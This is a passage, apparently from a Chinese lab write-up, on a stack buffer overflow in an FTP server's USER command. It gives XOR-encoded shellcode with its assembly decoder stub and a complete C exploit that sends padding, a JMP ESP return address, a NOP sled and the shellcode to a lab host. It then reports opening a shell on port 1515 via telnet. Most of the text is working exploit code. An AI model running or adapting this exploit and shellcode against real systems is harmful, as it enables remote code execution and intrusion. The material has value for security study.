\x9A\x64\xF4\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xE3\xE8\x62\xE3"\
\xE8\x62\xEF\xE8\x62\xEB\xFF\xDA\x17\x17\x17\xE8\x62\xEF\x7F\x74"\
\x9E\xC6\x58\xFF\x10\x17\x17\x17\x7D\x17\xE8\xC7\x9C\xF2\x4A\x42"\
\x9C\xFB\x94\xFB\x1B\x45\x9C\x5A\x1B\x9C\x56\x2B\x9C\x53\x1F\x6F"\
\x9C\x6B\x1F\x0B\x14\xEE\x9E\x6A\xEB\x9C\x6B\x1F\x37\x14\xEE\x9E"\
\x6A\xEF\x9C\x6B\x1F\x33\x14\xEE\x9E\x6A\xE3\x9C\x6B\x1F\x0F\x24"\
\xDE\xFC\x16\x56\x9C\x62\xEF\x9C\x23\x99\x9C\x42\x1B\x9A\x23\x25"\
\xE8\x62\x1F\x41\xFF\x36\x17\x17\x17\x94\xEF\x16\x62\xF2\x9C\x62"\
\xE3\x24\xE8\x71\x9C\x2B\x59\x9C\x42\xEB\x9C\x23\xAD\x9C\x42\x1B"\
\x9A\x13\x25\x4D\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x94\xFB\x13"\
\xD0\x52\xEB\x17\x17\x17\x17\x44\x46\x45\x9C\x62\x1F\x24\xDE\x24"\
\xD7\x9D\x13\x19\x93\xD7\x63\x01\x9C\x4A\xEB\xD6\xF4\x0E\x9C\x42"\
\xEB\xD6\xFD\x10\x1C\xCD\x14\xCF\x9E\x4A\xEB\x56\xFC\xF4\x9C\x4A"\
\x1B\x9C\x42\xEB\x24\xD7\x2C\xCD\x62\x12\xAF\x16\x17\x17\x17\x4D"\
\x4E\x4C\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x96\xFB\x17\x14\x17"\
\x17\xE8\x62\x07\x7F\x2A\x7D\xA3\x97\xFF\x26\xE8\xE8\xE8\x9A\xA2"\
\x17\xEA\xE8\xE8\x41\x7F\x15\x15\x17\x17\xE8\xC7\x92\xD7\x18\x92"\
\x17\x16\x17\x17\xE8\x62\x07\x7F\x3A\x25\x6F\xC9\xFF\x19\xE8\xE8"\
\xE8\x7D\x17\x7D\x17\x7D\x17\x7D\x11\x7D\x16\x7D\x15\xE8\xC7\x9E"\
\x52\xEB\xE8\x62\x07\x7F\x73\x07\xB0\xCA\xFF\xE7\xE9\xE8\xE8\x71"\
\xD0\x92\x17\xE9\xE8\xE8\x15\x17\x71\xD0\x92\x15\xE9\xE8\xE8\x12"\
\xFC\xD0\x92\x13\xE9\xE8\xE8\x17\x17\x17\x17\x9A\xA2\x17\xE9\xE8"\
\xE8\x7D\x07\x41\xE8\x62\xEB\xE8\xC7\x92\xD7\x18\x92\xB4\x17\x17"\
\x17\xE8\x62\x07\x7F\x1B\x88\xC4\x5C\xFF\xA6\xE9\xE8\xE8\x7F\xE8"\
\xE8\xE8\x68\xE8\x62\xEB\xE8\xC7\x94\xEF\x17\x18\x92\x94\x17\x17"\
\x17\xE8\x62\x07\x7F\xA6\x09\x80\x16\xFF\x86\xE9\xE8\xE8\x7D\x17"\
\x7D\x17\xE8\x62\xEB\xE8\xC7\x9E\x52\xEB\xE8\x62\x1B\x7F\xDE\xAB"\
\xB1\x7C\xFF\x6F\xE9\xE8\xE8\x9C\xC7\x9A\xAA\x67\xE8\xE8\xE8\xAE"\
\x06\x17\x17\x17\xAF\x17\x17\x17\x17\xEB\xE4\xBC\xD0\x92\x67\xE8"\
\xE8\xE8\x53\x17\x17\x17\xD0\x52\x8B\x17\x16\x17\x17\x71\xD0\x52"\
\xB7\x17\x17\x9C\x62\xEB\x9E\x62\xBF\x9E\x62\xBB\x9E\x62\xA7\x9A"\
\xA2\x67\xE8\xE8\xE8\x9A\xAA\x17\xE9\xE8\xE8\x9C\x4A\x1F\x9A\x4C"\
\xCC\x40\x41\x7D\x17\x7D\x17\x7D\x17\x7D\x16\x7D\x17\x7D\x17\x44"\
\x7D\x17\xE8\xC5\x9C\xF2\x4A\xD5\x1B\x17\x17";

解密代码

加密之后肯定是需要解密的,不然怎么使

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int main()
{
_asm
{
xor eax, eax;
// GetPC
call tag_Get_PC - 1;
tag_Get_PC:
retn;
pop eax;
// Decode
lea esi, [eax + 0x1B];
xor ecx, ecx;
mov cx, 0x27c;//大小(字节)
tag_Decode:
mov al, [esi + ecx];
xor al, 0x017; //解密密钥
mov[esi + ecx], al;
loop tag_Decode;
xor [esi + ecx], 0x017;
jmp esi;
}
return 0;
}

提取二进制

1
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x7C\x02\x8A\x04\x0E\x34\x17\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x17\xFF\xE6"

ShellCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <winsock2.h>  
#pragma comment(lib,"Ws2_32.lib")
#include <ws2tcpip.h>
char bShellcode[] = \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x7B\x02\x8A\x04\x0E\x34\x17\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x17\xFF\xE6"
"\x94\xFB\x47\x42\x9C\xFB\x94\xFB\x07\xFC\x37\x74\x7A\x73\x39\x72"\
"\x6F\x72\x17\x60\x64\x25\x48\x24\x25\x39\x73\x7B\x7B\x17\x7C\x72"\
"\x65\x79\x72\x7B\x24\x25\x39\x73\x7B\x7B\x17\xFF\x17\x17\x17\x17"\
"\x4C\x9E\x4A\xEB\x73\x9C\x22\x27\x17\x17\x17\x9C\x61\x1B\x9C\x61"\
"\x0B\x9C\x21\x9C\x41\x1F\x45\x7F\x90\x25\xCF\xD7\xFF\x29\x17\x17"\
"\x17\x9C\xEF\x9A\x64\xF9\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xEF"\
"\x9A\x64\xF4\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xE3\xE8\x62\xE3"\
"\xE8\x62\xEF\xE8\x62\xEB\xFF\xDA\x17\x17\x17\xE8\x62\xEF\x7F\x74"\
"\x9E\xC6\x58\xFF\x10\x17\x17\x17\x7D\x17\xE8\xC7\x9C\xF2\x4A\x42"\
"\x9C\xFB\x94\xFB\x1B\x45\x9C\x5A\x1B\x9C\x56\x2B\x9C\x53\x1F\x6F"\
"\x9C\x6B\x1F\x0B\x14\xEE\x9E\x6A\xEB\x9C\x6B\x1F\x37\x14\xEE\x9E"\
"\x6A\xEF\x9C\x6B\x1F\x33\x14\xEE\x9E\x6A\xE3\x9C\x6B\x1F\x0F\x24"\
"\xDE\xFC\x16\x56\x9C\x62\xEF\x9C\x23\x99\x9C\x42\x1B\x9A\x23\x25"\
"\xE8\x62\x1F\x41\xFF\x36\x17\x17\x17\x94\xEF\x16\x62\xF2\x9C\x62"\
"\xE3\x24\xE8\x71\x9C\x2B\x59\x9C\x42\xEB\x9C\x23\xAD\x9C\x42\x1B"\
"\x9A\x13\x25\x4D\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x94\xFB\x13"\
"\xD0\x52\xEB\x17\x17\x17\x17\x44\x46\x45\x9C\x62\x1F\x24\xDE\x24"\
"\xD7\x9D\x13\x19\x93\xD7\x63\x01\x9C\x4A\xEB\xD6\xF4\x0E\x9C\x42"\
"\xEB\xD6\xFD\x10\x1C\xCD\x14\xCF\x9E\x4A\xEB\x56\xFC\xF4\x9C\x4A"\
"\x1B\x9C\x42\xEB\x24\xD7\x2C\xCD\x62\x12\xAF\x16\x17\x17\x17\x4D"\
"\x4E\x4C\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x96\xFB\x17\x14\x17"\
"\x17\xE8\x62\x07\x7F\x2A\x7D\xA3\x97\xFF\x26\xE8\xE8\xE8\x9A\xA2"\
"\x17\xEA\xE8\xE8\x41\x7F\x15\x15\x17\x17\xE8\xC7\x92\xD7\x18\x92"\
"\x17\x16\x17\x17\xE8\x62\x07\x7F\x3A\x25\x6F\xC9\xFF\x19\xE8\xE8"\
"\xE8\x7D\x17\x7D\x17\x7D\x17\x7D\x11\x7D\x16\x7D\x15\xE8\xC7\x9E"\
"\x52\xEB\xE8\x62\x07\x7F\x73\x07\xB0\xCA\xFF\xE7\xE9\xE8\xE8\x71"\
"\xD0\x92\x17\xE9\xE8\xE8\x15\x17\x71\xD0\x92\x15\xE9\xE8\xE8\x12"\
"\xFC\xD0\x92\x13\xE9\xE8\xE8\x17\x17\x17\x17\x9A\xA2\x17\xE9\xE8"\
"\xE8\x7D\x07\x41\xE8\x62\xEB\xE8\xC7\x92\xD7\x18\x92\xB4\x17\x17"\
"\x17\xE8\x62\x07\x7F\x1B\x88\xC4\x5C\xFF\xA6\xE9\xE8\xE8\x7F\xE8"\
"\xE8\xE8\x68\xE8\x62\xEB\xE8\xC7\x94\xEF\x17\x18\x92\x94\x17\x17"\
"\x17\xE8\x62\x07\x7F\xA6\x09\x80\x16\xFF\x86\xE9\xE8\xE8\x7D\x17"\
"\x7D\x17\xE8\x62\xEB\xE8\xC7\x9E\x52\xEB\xE8\x62\x1B\x7F\xDE\xAB"\
"\xB1\x7C\xFF\x6F\xE9\xE8\xE8\x9C\xC7\x9A\xAA\x67\xE8\xE8\xE8\xAE"\
"\x06\x17\x17\x17\xAF\x17\x17\x17\x17\xEB\xE4\xBC\xD0\x92\x67\xE8"\
"\xE8\xE8\x53\x17\x17\x17\xD0\x52\x8B\x17\x16\x17\x17\x71\xD0\x52"\
"\xB7\x17\x17\x9C\x62\xEB\x9E\x62\xBF\x9E\x62\xBB\x9E\x62\xA7\x9A"\
"\xA2\x67\xE8\xE8\xE8\x9A\xAA\x17\xE9\xE8\xE8\x9C\x4A\x1F\x9A\x4C"\
"\xCC\x40\x41\x7D\x17\x7D\x17\x7D\x17\x7D\x16\x7D\x17\x7D\x17\x44"\
"\x7D\x17\xE8\xC5\x9C\xF2\x4A\xD5\x1B\x17\x17";

int main()
{
// 1. 初始化Winsock服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;;
stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;

//stService.sin_addr.s_addr = inet_addr("192.168.32.134");
inet_pton(AF_INET, "192.168.32.136", &stService.sin_addr);
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
//// 4. 构造Exploit
char cExpolit[5000] = { 0x00 }; // Exploit容器
char cFill[5000] = { 0x00 }; // 填充字节
char cNOP[51] = { 0x00 }; // 滑板指令区
char cRetnAddr[5] = "\xf7\xf8\x71\x77"; // JMP ESP:0x7771f8f7
memset(cFill, 'A', 2003); // 由Mona得到的偏移
memset(cNOP, '\x90', 50); // 少填充1字节,如果变量cNOP后面不为0x00,也会被当成字符链接进来

sprintf_s(cExpolit, "%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode);
// 5. 向FTP发送Exploit
char szRecv[0x100] = { 0 };

// 5.1 接受欢迎语
recv(stListen, szRecv, sizeof(szRecv), 0);
// 5.2 发送登陆请求
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();
return 0;
}

测试连接

执行ShellCode后目标是处于未响应状态(鼠标放置在FTP程序上是转圈圈的),一开始以为代码或则哪里的操作有问题,后来尝试连接后就成功了

telnet 192.168.32.136 1515(telnet ip 端口)

dir(查看当前目录)

连接是成功的